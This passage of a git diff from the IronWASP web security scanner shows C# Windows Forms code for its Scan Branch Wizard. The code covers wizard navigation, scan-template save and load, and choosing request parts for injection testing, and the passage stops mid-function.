this.SaveTemplateLL.Size = new System.Drawing.Size(107, 13); + this.SaveTemplateLL.TabIndex = 149; + this.SaveTemplateLL.TabStop = true; + this.SaveTemplateLL.Text = "Save Scan Template"; + this.SaveTemplateLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.SaveTemplateLL_LinkClicked); + // + // label29 + // + this.label29.AutoSize = true; + this.label29.Location = new System.Drawing.Point(14, 124); + this.label29.Name = "label29"; + this.label29.Size = new System.Drawing.Size(556, 13); + this.label29.TabIndex = 148; + this.label29.Text = "If you wish to save to the generic settings you entered so far then you can save " + + "it to a scan template file and reuse it."; + // + // StepFourPreviousBtn + // + this.StepFourPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.StepFourPreviousBtn.Location = new System.Drawing.Point(7, 301); + this.StepFourPreviousBtn.Name = "StepFourPreviousBtn"; + this.StepFourPreviousBtn.Size = new System.Drawing.Size(105, 23); + this.StepFourPreviousBtn.TabIndex = 147; + this.StepFourPreviousBtn.Text = "<-Previous Step"; + this.StepFourPreviousBtn.UseVisualStyleBackColor = true; + this.StepFourPreviousBtn.Click += new System.EventHandler(this.StepFourPreviousBtn_Click); + // + // FinalBtn + // + this.FinalBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.FinalBtn.Location = new System.Drawing.Point(713, 302); + this.FinalBtn.Name = "FinalBtn"; + this.FinalBtn.Size = new System.Drawing.Size(105, 23); + this.FinalBtn.TabIndex = 146; + this.FinalBtn.Text = "Start Scan"; + this.FinalBtn.UseVisualStyleBackColor = true; + this.FinalBtn.Click += new System.EventHandler(this.FinalBtn_Click); + // + // OpenTemplateDialog + // + this.OpenTemplateDialog.DefaultExt = "ibst"; + this.OpenTemplateDialog.Filter = "IronWASP Branch Scan Template|*.ibst"; + // + // SaveTemplateDialog + // + this.SaveTemplateDialog.DefaultExt = "ibst"; + this.SaveTemplateDialog.Filter = "IronWASP Branch Scan Template|*.ibst"; + // + // ScanBranchWizard + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.SystemColors.Control; + this.ClientSize = new System.Drawing.Size(834, 361); + this.Controls.Add(this.BaseTabs); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximumSize = new System.Drawing.Size(850, 400); + this.MinimumSize = new System.Drawing.Size(850, 400); + this.Name = "ScanBranchWizard"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Scan Branch Wizard"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.ScanBranchWizard_FormClosing); + this.Load += new System.EventHandler(this.ScanBranchWizard_Load); + this.ScanBranchStatsPanel.ResumeLayout(false); + this.ScanBranchStatsPanel.PerformLayout(); + this.BaseTabs.ResumeLayout(false); + this.Zero.ResumeLayout(false); + this.Zero.PerformLayout(); + this.One.ResumeLayout(false); + this.One.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.ScanPluginsGrid)).EndInit(); + this.Two.ResumeLayout(false); + this.Two.PerformLayout(); + this.groupBox6.ResumeLayout(false); + this.groupBox6.PerformLayout(); + this.groupBox7.ResumeLayout(false); + this.groupBox7.PerformLayout(); + this.groupBox8.ResumeLayout(false); + this.groupBox8.PerformLayout(); + this.groupBox9.ResumeLayout(false); + this.groupBox9.PerformLayout(); + this.Three.ResumeLayout(false); + this.Three.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.FormatGrid)).EndInit(); + this.Four.ResumeLayout(false); + this.Four.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + internal System.Windows.Forms.TextBox ScanBranchHostNameTB; + internal System.Windows.Forms.TextBox ScanBranchUrlPatternTB; + internal System.Windows.Forms.Panel ScanBranchStatsPanel; + internal System.Windows.Forms.ProgressBar ScanBranchProgressBar; + internal System.Windows.Forms.Label ScanBranchProgressLbl; + internal System.Windows.Forms.TextBox ScanBranchErrorTB; + private System.Windows.Forms.Label label8; + internal System.Windows.Forms.CheckBox ScanBranchPickProxyLogCB; + internal System.Windows.Forms.CheckBox ScanBranchPickProbeLogCB; + private System.Windows.Forms.TabControl BaseTabs; + private System.Windows.Forms.TabPage Zero; + private System.Windows.Forms.Label ScanTemplateNameLbl; + internal System.Windows.Forms.TextBox Step0StatusTB; + private System.Windows.Forms.Label label10; + private System.Windows.Forms.LinkLabel LoadTemplateLL; + private System.Windows.Forms.Label label11; + private System.Windows.Forms.Button CancelBtn; + private System.Windows.Forms.Button StepZeroNextBtn; + private System.Windows.Forms.TabPage One; + internal System.Windows.Forms.TextBox Step1StatusTB; + internal System.Windows.Forms.CheckBox ScanAllPluginsCB; + private System.Windows.Forms.Button StepOnePreviousBtn; + private System.Windows.Forms.Button StepOneNextBtn; + private System.Windows.Forms.Label label23; + internal System.Windows.Forms.CheckBox InjectNamesCB; + internal System.Windows.Forms.DataGridView ScanPluginsGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn1; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn1; + private System.Windows.Forms.Label label24; + internal System.Windows.Forms.CheckBox InjectHeadersCB; + internal System.Windows.Forms.CheckBox InjectCookieCB; + internal System.Windows.Forms.CheckBox InjectBodyCB; + internal System.Windows.Forms.CheckBox InjectQueryCB; + internal System.Windows.Forms.CheckBox InjectUrlPathPartsCB; + private System.Windows.Forms.TabPage Two; + internal System.Windows.Forms.TextBox Step2StatusTB; + private System.Windows.Forms.Label label25; + private System.Windows.Forms.Label label26; + private System.Windows.Forms.Button StepTwoPreviousBtn; + private System.Windows.Forms.Button StepTwoNextBtn; + private System.Windows.Forms.GroupBox groupBox6; + internal System.Windows.Forms.CheckBox HeadersParametersFilterCB; + internal System.Windows.Forms.TextBox HeadersParametersPlusTB; + internal System.Windows.Forms.TextBox HeadersParametersMinusTB; + internal System.Windows.Forms.RadioButton HeadersParametersPlusRB; + internal System.Windows.Forms.RadioButton HeadersParametersMinusRB; + private System.Windows.Forms.GroupBox groupBox7; + internal System.Windows.Forms.CheckBox QueryParametersFilterCB; + internal System.Windows.Forms.TextBox QueryParametersPlusTB; + internal System.Windows.Forms.TextBox QueryParametersMinusTB; + internal System.Windows.Forms.RadioButton QueryParametersPlusRB; + internal System.Windows.Forms.RadioButton QueryParametersMinusRB; + private System.Windows.Forms.GroupBox groupBox8; + internal System.Windows.Forms.CheckBox BodyParametersFilterCB; + internal System.Windows.Forms.TextBox BodyParametersPlusTB; + internal System.Windows.Forms.TextBox BodyParametersMinusTB; + internal System.Windows.Forms.RadioButton BodyParametersPlusRB; + internal System.Windows.Forms.RadioButton BodyParametersMinusRB; + private System.Windows.Forms.GroupBox groupBox9; + internal System.Windows.Forms.CheckBox CookieParametersFilterCB; + internal System.Windows.Forms.TextBox CookieParametersPlusTB; + internal System.Windows.Forms.TextBox CookieParametersMinusTB; + internal System.Windows.Forms.RadioButton CookieParametersPlusRB; + internal System.Windows.Forms.RadioButton CookieParametersMinusRB; + private System.Windows.Forms.TabPage Four; + internal System.Windows.Forms.CheckBox PromptUserCB; + private System.Windows.Forms.Label label27; + private System.Windows.Forms.Label label28; + private System.Windows.Forms.TextBox textBox3; + private System.Windows.Forms.LinkLabel SaveTemplateLL; + private System.Windows.Forms.Label label29; + private System.Windows.Forms.Button StepFourPreviousBtn; + private System.Windows.Forms.TabPage Three; + private System.Windows.Forms.LinkLabel RefreshSessListLL; + private System.Windows.Forms.TextBox textBox1; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.LinkLabel LaunchSessionPluginCreationAssistantLL; + internal System.Windows.Forms.TextBox Step3StatusTB; + private System.Windows.Forms.Button StepThreePreviousBtn; + private System.Windows.Forms.Button StepThreeNextBtn; + private System.Windows.Forms.TextBox textBox4; + internal System.Windows.Forms.DataGridView FormatGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn2; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn2; + private System.Windows.Forms.CheckBox ScanThreadLimitCB; + internal System.Windows.Forms.ComboBox ScanBranchSessionPluginsCombo; + private System.Windows.Forms.OpenFileDialog OpenTemplateDialog; + private System.Windows.Forms.SaveFileDialog SaveTemplateDialog; + internal System.Windows.Forms.Button FinalBtn; + private System.Windows.Forms.LinkLabel StartLoginRecordingLL; + internal System.Windows.Forms.ComboBox LoginRecordingComboBox; + private System.Windows.Forms.Label label3; + } } \ No newline at end of file diff --git a/IronWASP/ScanBranchWizard.cs b/Iron/ScanBranchWizard.cs similarity index 86% rename from IronWASP/ScanBranchWizard.cs rename to Iron/ScanBranchWizard.cs index d41f0ce..c5e34a5 100644 --- a/IronWASP/ScanBranchWizard.cs +++ b/Iron/ScanBranchWizard.cs @@ -1,1162 +1,1208 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see . -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Text; -using System.Windows.Forms; -using System.IO; -using System.Xml; - -namespace IronWASP -{ - public partial class ScanBranchWizard : Form - { - bool CanClose = false; - - internal Request BaseRequest; - - int CurrentStep = 0; - - public ScanBranchWizard() - { - InitializeComponent(); - } - - private void ScanBranchPickProxyLogCB_CheckedChanged(object sender, EventArgs e) - { - ScanBranch.PickFromProxyLog = ScanBranchPickProxyLogCB.Checked; - } - - private void ScanBranchPickProbeLogCB_CheckedChanged(object sender, EventArgs e) - { - ScanBranch.PickFromProbeLog = ScanBranchPickProbeLogCB.Checked; - } - - private void CancelBtn_Click(object sender, EventArgs e) - { - if (ScanBranch.ScanThread != null) - { - try - { - ScanBranch.ScanThread.Abort(); - } - catch - { - // - } - } - this.CanClose = true; - ScanBranchWizard.ActiveForm.Close(); - } - - private void FinalBtn_Click(object sender, EventArgs e) - { - FinalBtn.Enabled = false; - StepFourPreviousBtn.Enabled = false; - - ScanBranchErrorTB.Text = ""; - if (ScanBranchHostNameTB.Text.Trim().Length == 0) - { - ScanBranchErrorTB.Text = "No HostName Specified"; - FinalBtn.Enabled = true; - StepFourPreviousBtn.Enabled = true; - return; - } - if (ScanBranchUrlPatternTB.Text.Trim().Length == 0) - { - ScanBranchErrorTB.Text = "No Url Pattern Specified"; - FinalBtn.Enabled = true; - StepFourPreviousBtn.Enabled = true; - return; - } - if (!(ScanBranchPickProxyLogCB.Checked || ScanBranchPickProbeLogCB.Checked)) - { - ScanBranchErrorTB.Text = "Log source not selected. Select from Proxy Log/Probe Log"; - FinalBtn.Enabled = true; - StepFourPreviousBtn.Enabled = true; - return; - } - - ScanBranch.ProxyLogIDs.Clear(); - ScanBranch.ProbeLogIDs.Clear(); - UpdateScanBranchConfigFromUI(); - ScanBranchStatsPanel.Visible = true; - ScanBranchProgressLbl.Text = "Selecting requests based on filter"; - if (ScanBranch.PickFromProxyLog) - { - if (IronUI.UI.ProxyLogGrid.Rows.Count == 0 && !ScanBranch.PickFromProbeLog) - { - ScanBranchErrorTB.Text = "Proxy Log is Empty. Capture Some Traffic with the Proxy First"; - ScanBranchStatsPanel.Visible = false; - FinalBtn.Enabled = true; - StepFourPreviousBtn.Enabled = true; - return; - } - foreach (DataGridViewRow Row in IronUI.UI.ProxyLogGrid.Rows) - { - try - { - if (ScanBranch.CanScan(Row, "Proxy")) - { - ScanBranch.ProxyLogIDs.Add((int)Row.Cells[0].Value); - } - } - catch (Exception Exp) - { - IronException.Report("ScanBranch Error reading ProxyLogGrid Message", Exp.Message, Exp.StackTrace); - } - } - if (ScanBranch.ProxyLogIDs.Count == 0 && !ScanBranch.PickFromProbeLog) - { - ScanBranchErrorTB.Text = "No Requests were Selected. Try Changing the Filter or Capture More Traffic With the Proxy"; - ScanBranchStatsPanel.Visible = false; - FinalBtn.Enabled = true; - StepFourPreviousBtn.Enabled = true; - return; - } - } - if (ScanBranch.PickFromProbeLog) - { - if (IronUI.UI.ProbeLogGrid.Rows.Count == 0 && !ScanBranch.PickFromProxyLog) - { - ScanBranchErrorTB.Text = "Probe Log is Empty. Crawl a website to populate the Probe Log"; - ScanBranchStatsPanel.Visible = false; - FinalBtn.Enabled = true; - StepFourPreviousBtn.Enabled = true; - return; - } - foreach (DataGridViewRow Row in IronUI.UI.ProbeLogGrid.Rows) - { - try - { - if (ScanBranch.CanScan(Row, "Probe")) - { - ScanBranch.ProbeLogIDs.Add((int)Row.Cells[0].Value); - } - } - catch (Exception Exp) - { - IronException.Report("ScanBranch Error reading ProbeLogGrid Message", Exp.Message, Exp.StackTrace); - } - } - if (ScanBranch.ProbeLogIDs.Count == 0 && !ScanBranch.PickFromProxyLog) - { - ScanBranchErrorTB.Text = "No Requests were Selected. Try Changing the Filter or Crawl more of the site."; - ScanBranchStatsPanel.Visible = false; - FinalBtn.Enabled = true; - StepFourPreviousBtn.Enabled = true; - return; - } - } - if (ScanBranch.ProxyLogIDs.Count == 0 && ScanBranch.ProbeLogIDs.Count == 0) - { - ScanBranchErrorTB.Text = "No Requests were Selected. Try Changing the Filter or make sure there are Requests in the Proxy/Probe Logs"; - ScanBranchStatsPanel.Visible = false; - FinalBtn.Enabled = true; - StepFourPreviousBtn.Enabled = true; - return; - } - ScanBranchProgressBar.Minimum = 0; - ScanBranchProgressBar.Maximum = ScanBranch.ProxyLogIDs.Count + ScanBranch.ProbeLogIDs.Count; - ScanBranchProgressBar.Step = 1; - ScanBranchProgressBar.Value = 0; - ScanBranchProgressLbl.Text = ScanBranch.ProxyLogIDs.Count.ToString() + " Requests Selected"; - IronUI.UI.ASMainTabs.SelectTab(0); - if (!IronUI.UI.main_tab.SelectedTab.Name.Equals("mt_auto")) IronUI.UI.main_tab.SelectTab("mt_auto"); - ScanBranch.Start(); - } - - private void ScanBranchWizard_Load(object sender, EventArgs e) - { - foreach (string Name in ActivePlugin.List()) - { - ScanPluginsGrid.Rows.Add(new object[]{true, Name}); - } - foreach (string Name in FormatPlugin.List()) - { - FormatGrid.Rows.Add(new object[] { true, Name }); - } - ScanBranchSessionPluginsCombo.Items.AddRange(SessionPlugin.List().ToArray()); - - if (InjectQueryCB.Checked) QueryParametersFilterCB.Enabled = true; - if (InjectBodyCB.Checked) BodyParametersFilterCB.Enabled = true; - if (InjectCookieCB.Checked) CookieParametersFilterCB.Enabled = true; - if (InjectHeadersCB.Checked) HeadersParametersFilterCB.Enabled = true; - - } - - private void LoadTemplateLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - OpenTemplateDialog.Title = "Open an existing Scan Template"; - - while (OpenTemplateDialog.ShowDialog() == DialogResult.OK) - { - try - { - FileInfo OpenedFile = new FileInfo(OpenTemplateDialog.FileName); - StreamReader Reader = new StreamReader(OpenedFile.FullName); - string TemplateXml = Reader.ReadToEnd(); - Reader.Close(); - LoadSettingsFromTemplate(TemplateXml); - ScanTemplateNameLbl.Text = string.Format("Loaded template file - {0}", OpenedFile.Name); - break; - } - catch (Exception Exp) - { - MessageBox.Show(string.Format("Unable to open file: {0}", new object[] { Exp.Message })); - } - } - } - - void LoadSettingsFromTemplate(string TemplateXml) - { - XmlDocument XDoc = new XmlDocument(); - XDoc.LoadXml(TemplateXml); - foreach (XmlNode Node in XDoc.ChildNodes[1].ChildNodes) - { - switch (Node.Name) - { - case ("scan_type"): - break; - case ("prompt_user"): - PromptUserCB.Checked = (Node.InnerText == "true"); - break; - case ("inject_upp"): - InjectUrlPathPartsCB.Checked = (Node.InnerText == "true"); - break; - case ("inject_query"): - InjectQueryCB.Checked = (Node.InnerText == "true"); - break; - case ("inject_body"): - InjectBodyCB.Checked = (Node.InnerText == "true"); - break; - case ("inject_cookie"): - InjectCookieCB.Checked = (Node.InnerText == "true"); - break; - case ("inject_header"): - InjectHeadersCB.Checked = (Node.InnerText == "true"); - break; - case ("inject_names"): - InjectNamesCB.Checked = (Node.InnerText == "true"); - break; - case ("checks"): - int CheckedCount = 0; - foreach (string PluginName in Node.InnerText.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) - { - if (Row.Cells[1].Value.ToString().Equals(PluginName.Trim())) - { - Row.Cells[0].Value = true; - CheckedCount++; - } - } - } - if (CheckedCount == ScanPluginsGrid.Rows.Count) - ScanAllPluginsCB.Checked = true; - else - ScanAllPluginsCB.Checked = false; - break; - case ("formats"): - foreach (string PluginName in Node.InnerText.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - foreach (DataGridViewRow Row in FormatGrid.Rows) - { - if (Row.Cells[1].Value.ToString().Equals(PluginName.Trim())) - { - Row.Cells[0].Value = true; - } - } - } - break; - case ("session_plugin"): - try - { - ScanBranchSessionPluginsCombo.SelectedIndex = ScanBranchSessionPluginsCombo.Items.IndexOf(Node.InnerText); - } - catch { } - break; - case ("query_white_list"): - QueryParametersPlusTB.Text = Node.InnerText; - QueryParametersPlusRB.Checked = true; - break; - case ("query_black_list"): - QueryParametersMinusTB.Text = Node.InnerText; - QueryParametersMinusRB.Checked = true; - break; - case ("body_white_list"): - BodyParametersPlusTB.Text = Node.InnerText; - BodyParametersPlusRB.Checked = true; - break; - case ("body_black_list"): - BodyParametersMinusTB.Text = Node.InnerText; - BodyParametersMinusRB.Checked = true; - break; - case ("cookie_white_list"): - CookieParametersPlusTB.Text = Node.InnerText; - CookieParametersPlusRB.Checked = true; - break; - case ("cookie_black_list"): - CookieParametersMinusTB.Text = Node.InnerText; - CookieParametersMinusRB.Checked = true; - break; - case ("headers_white_list"): - HeadersParametersPlusTB.Text = Node.InnerText; - HeadersParametersPlusRB.Checked = true; - break; - case ("headers_black_list"): - HeadersParametersMinusTB.Text = Node.InnerText; - HeadersParametersMinusRB.Checked = true; - break; - case ("query_filter_type"): - if (Node.InnerText.Equals("+")) - QueryParametersPlusRB.Checked = true; - else - QueryParametersMinusRB.Checked = true; - break; - case ("body_filter_type"): - if (Node.InnerText.Equals("+")) - BodyParametersPlusRB.Checked = true; - else - BodyParametersMinusRB.Checked = true; - break; - case ("cookie_filter_type"): - if (Node.InnerText.Equals("+")) - CookieParametersPlusRB.Checked = true; - else - CookieParametersMinusRB.Checked = true; - break; - case ("headers_filter_type"): - if (Node.InnerText.Equals("+")) - HeadersParametersPlusRB.Checked = true; - else - HeadersParametersMinusRB.Checked = true; - break; - } - } - } - - private void SaveTemplateLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - while (SaveTemplateDialog.ShowDialog() == DialogResult.OK) - { - FileInfo Info = new FileInfo(SaveTemplateDialog.FileName); - string Content = GetTemplateXml(); - if (Info.Name.Length == 0) - { - MessageBox.Show("Please enter a name"); - } - else if (!Info.Name.EndsWith(".ibst")) - { - MessageBox.Show("The file extension must be .ibst"); - } - else - { - try - { - StreamWriter Writer = new StreamWriter(Info.FullName); - Writer.Write(Content); - Writer.Close(); - } - catch (Exception Exp) - { - MessageBox.Show(string.Format("Unable to save file: {0}", new object[] { Exp.Message })); - } - break; - } - } - } - - string GetTemplateXml() - { - StringBuilder SB = new StringBuilder(); - XmlWriterSettings XWS = new XmlWriterSettings(); - XWS.Indent = true; - XmlWriter XW = XmlWriter.Create(SB, XWS); - XW.WriteStartDocument(); - XW.WriteStartElement("scan_template"); - XW.WriteStartElement("version"); XW.WriteValue("1.0"); XW.WriteEndElement(); - XW.WriteStartElement("scan_type"); XW.WriteValue("2"); XW.WriteEndElement(); - //Crawler settings - - //Selected Injection Points - XW.WriteStartElement("inject_upp"); XW.WriteValue(InjectUrlPathPartsCB.Checked); XW.WriteEndElement(); - XW.WriteStartElement("inject_query"); XW.WriteValue(InjectQueryCB.Checked); XW.WriteEndElement(); - XW.WriteStartElement("inject_body"); XW.WriteValue(InjectBodyCB.Checked); XW.WriteEndElement(); - XW.WriteStartElement("inject_cookie"); XW.WriteValue(InjectCookieCB.Checked); XW.WriteEndElement(); - XW.WriteStartElement("inject_header"); XW.WriteValue(InjectHeadersCB.Checked); XW.WriteEndElement(); - XW.WriteStartElement("inject_names"); XW.WriteValue(InjectNamesCB.Checked); XW.WriteEndElement(); - //Selected checks - XW.WriteStartElement("checks"); - StringBuilder CB = new StringBuilder(); - foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - if (CB.Length > 0) CB.Append(", "); - CB.Append(Row.Cells[1].Value.ToString()); - } - } - XW.WriteValue(CB.ToString()); - XW.WriteEndElement(); - - //Selected formats - XW.WriteStartElement("checks"); - StringBuilder FB = new StringBuilder(); - foreach (DataGridViewRow Row in FormatGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - if (FB.Length > 0) FB.Append(", "); - FB.Append(Row.Cells[1].Value.ToString()); - } - } - XW.WriteValue(FB.ToString()); - XW.WriteEndElement(); - if (ScanBranchSessionPluginsCombo.SelectedIndex > -1) - { - XW.WriteStartElement("session_plugin"); XW.WriteValue(ScanBranchSessionPluginsCombo.Text); XW.WriteEndElement(); - } - - XW.WriteStartElement("query_white_list"); XW.WriteValue(QueryParametersPlusTB.Text); XW.WriteEndElement(); - XW.WriteStartElement("query_black_list"); XW.WriteValue(QueryParametersMinusTB.Text); XW.WriteEndElement(); - - XW.WriteStartElement("body_white_list"); XW.WriteValue(BodyParametersPlusTB.Text); XW.WriteEndElement(); - XW.WriteStartElement("body_black_list"); XW.WriteValue(BodyParametersMinusTB.Text); XW.WriteEndElement(); - - XW.WriteStartElement("cookie_white_list"); XW.WriteValue(CookieParametersPlusTB.Text); XW.WriteEndElement(); - XW.WriteStartElement("cookie_black_list"); XW.WriteValue(CookieParametersMinusTB.Text); XW.WriteEndElement(); - - XW.WriteStartElement("headers_white_list"); XW.WriteValue(HeadersParametersPlusTB.Text); XW.WriteEndElement(); - XW.WriteStartElement("headers_black_list"); XW.WriteValue(HeadersParametersMinusTB.Text); XW.WriteEndElement(); - - if (QueryParametersPlusRB.Checked) - { - XW.WriteStartElement("query_filter_type"); XW.WriteValue("+"); XW.WriteEndElement(); - } - else - { - XW.WriteStartElement("query_filter_type"); XW.WriteValue("-"); XW.WriteEndElement(); - } - - if (BodyParametersPlusRB.Checked) - { - XW.WriteStartElement("body_filter_type"); XW.WriteValue("+"); XW.WriteEndElement(); - } - else - { - XW.WriteStartElement("body_filter_type"); XW.WriteValue("-"); XW.WriteEndElement(); - } - - if (CookieParametersPlusRB.Checked) - { - XW.WriteStartElement("cookie_filter_type"); XW.WriteValue("+"); XW.WriteEndElement(); - } - else - { - XW.WriteStartElement("cookie_filter_type"); XW.WriteValue("-"); XW.WriteEndElement(); - } - - if (HeadersParametersPlusRB.Checked) - { - XW.WriteStartElement("headers_filter_type"); XW.WriteValue("+"); XW.WriteEndElement(); - } - else - { - XW.WriteStartElement("headers_filter_type"); XW.WriteValue("-"); XW.WriteEndElement(); - } - - XW.WriteEndElement(); - XW.WriteEndDocument(); - XW.Close(); - return SB.ToString(); - } - - void RefreshInjectNamesText() - { - StringBuilder SB = new StringBuilder(); - - if (InjectQueryCB.Checked) - { - if (SB.Length > 0) SB.Append(", "); - SB.Append("Query"); - } - if (InjectBodyCB.Checked) - { - if (SB.Length > 0) SB.Append(", "); - SB.Append("Body"); - } - if (InjectCookieCB.Checked) - { - if (SB.Length > 0) SB.Append(", "); - SB.Append("Cookie"); - } - if (InjectHeadersCB.Checked) - { - if (SB.Length > 0) SB.Append(", "); - SB.Append("Header"); - } - - InjectNamesCB.Text = string.Format("Parameter Names of {0}", SB.ToString()); - } - - private void InjectQueryCB_CheckedChanged(object sender, EventArgs e) - { - RefreshInjectNamesText(); - if (InjectQueryCB.Checked) - { - QueryParametersFilterCB.Enabled = true; - } - else - { - QueryParametersFilterCB.Checked = false; - QueryParametersFilterCB.Enabled = false; - } - } - - private void InjectBodyCB_CheckedChanged(object sender, EventArgs e) - { - RefreshInjectNamesText(); - if (InjectBodyCB.Checked) - { - BodyParametersFilterCB.Enabled = true; - } - else - { - BodyParametersFilterCB.Checked = false; - BodyParametersFilterCB.Enabled = false; - } - } - - private void InjectCookieCB_CheckedChanged(object sender, EventArgs e) - { - RefreshInjectNamesText(); - if (InjectCookieCB.Checked) - { - CookieParametersFilterCB.Enabled = true; - } - else - { - CookieParametersFilterCB.Checked = false; - CookieParametersFilterCB.Enabled = false; - } - } - - private void InjectHeadersCB_CheckedChanged(object sender, EventArgs e) - { - RefreshInjectNamesText(); - if (InjectHeadersCB.Checked) - { - HeadersParametersFilterCB.Enabled = true; - } - else - { - HeadersParametersFilterCB.Checked = false; - HeadersParametersFilterCB.Enabled = false; - } - } - - private void ScanPluginsGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ScanPluginsGrid.SelectedRows == null) return; - if (ScanPluginsGrid.SelectedRows.Count == 0) return; - - if ((bool)ScanPluginsGrid.SelectedRows[0].Cells[0].Value) - { - ScanPluginsGrid.SelectedRows[0].Cells[0].Value = false; - ScanAllPluginsCB.Checked = false; - } - else - { - ScanPluginsGrid.SelectedRows[0].Cells[0].Value = true; - } - } - - private void FormatGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (FormatGrid.SelectedRows == null) return; - if (FormatGrid.SelectedRows.Count == 0) return; - - if ((bool)FormatGrid.SelectedRows[0].Cells[0].Value) - { - FormatGrid.SelectedRows[0].Cells[0].Value = false; - } - else - { - FormatGrid.SelectedRows[0].Cells[0].Value = true; - } - } - - private void BaseTabs_Selecting(object sender, TabControlCancelEventArgs e) - { - switch (BaseTabs.SelectedTab.Name) - { - case ("Zero"): - if (this.CurrentStep != 0) - { - this.BaseTabs.SelectTab(this.CurrentStep); - MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); - } - break; - case ("One"): - if (this.CurrentStep != 1) - { - this.BaseTabs.SelectTab(this.CurrentStep); - MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); - } - break; - case ("Two"): - if (this.CurrentStep != 2) - { - this.BaseTabs.SelectTab(this.CurrentStep); - MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); - } - break; - case ("Three"): - if (this.CurrentStep != 3) - { - this.BaseTabs.SelectTab(this.CurrentStep); - MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); - } - break; - case ("Four"): - if (this.CurrentStep != 4) - { - this.BaseTabs.SelectTab(this.CurrentStep); - MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); - } - break; - } - } - - private void StepZeroNextBtn_Click(object sender, EventArgs e) - { - this.CurrentStep = 1; - this.BaseTabs.SelectTab(1); - } - - private void StepOnePreviousBtn_Click(object sender, EventArgs e) - { - this.CurrentStep = 0; - this.BaseTabs.SelectTab(0); - } - - private void StepOneNextBtn_Click(object sender, EventArgs e) - { - ShowStep1Error(""); - string Msg = CheckStep1Input(); - if (Msg.Length == 0) - { - this.CurrentStep = 2; - this.BaseTabs.SelectTab(2); - } - else - { - ShowStep1Error(Msg); - } - } - - private void StepTwoPreviousBtn_Click(object sender, EventArgs e) - { - this.CurrentStep = 1; - this.BaseTabs.SelectTab(1); - } - - private void StepTwoNextBtn_Click(object sender, EventArgs e) - { - this.CurrentStep = 3; - this.BaseTabs.SelectTab(3); - } - - private void StepThreePreviousBtn_Click(object sender, EventArgs e) - { - this.CurrentStep = 2; - this.BaseTabs.SelectTab(2); - } - - private void StepThreeNextBtn_Click(object sender, EventArgs e) - { - ShowStep3Error(""); - string Msg = CheckStep3Input(); - if (Msg.Length == 0) - { - this.CurrentStep = 4; - this.BaseTabs.SelectTab(4); - } - else - { - ShowStep3Error(Msg); - } - } - - private void StepFourPreviousBtn_Click(object sender, EventArgs e) - { - this.CurrentStep = 3; - this.BaseTabs.SelectTab(3); - } - - delegate void ShowStep0Error_d(string Text); - internal void ShowStep0Error(string Text) - { - if (Step0StatusTB.InvokeRequired) - { - ShowStep0Error_d CALL_d = new ShowStep0Error_d(ShowStep0Error); - Step0StatusTB.Invoke(CALL_d, new object[] { Text }); - } - else - { - this.Step0StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step0StatusTB.Visible = false; - } - else - { - this.Step0StatusTB.ForeColor = Color.Red; - this.Step0StatusTB.Visible = true; - } - } - } - - void ShowStep1Error(string Text) - { - this.Step1StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step1StatusTB.Visible = false; - } - else - { - this.Step1StatusTB.ForeColor = Color.Red; - this.Step1StatusTB.Visible = true; - } - } - void ShowStep2Error(string Text) - { - this.Step2StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step2StatusTB.Visible = false; - } - else - { - this.Step2StatusTB.ForeColor = Color.Red; - this.Step2StatusTB.Visible = true; - } - } - void ShowStep3Error(string Text) - { - this.Step1StatusTB.Text = Text; - if (Text.Length == 0) - { - this.Step3StatusTB.Visible = false; - } - else - { - 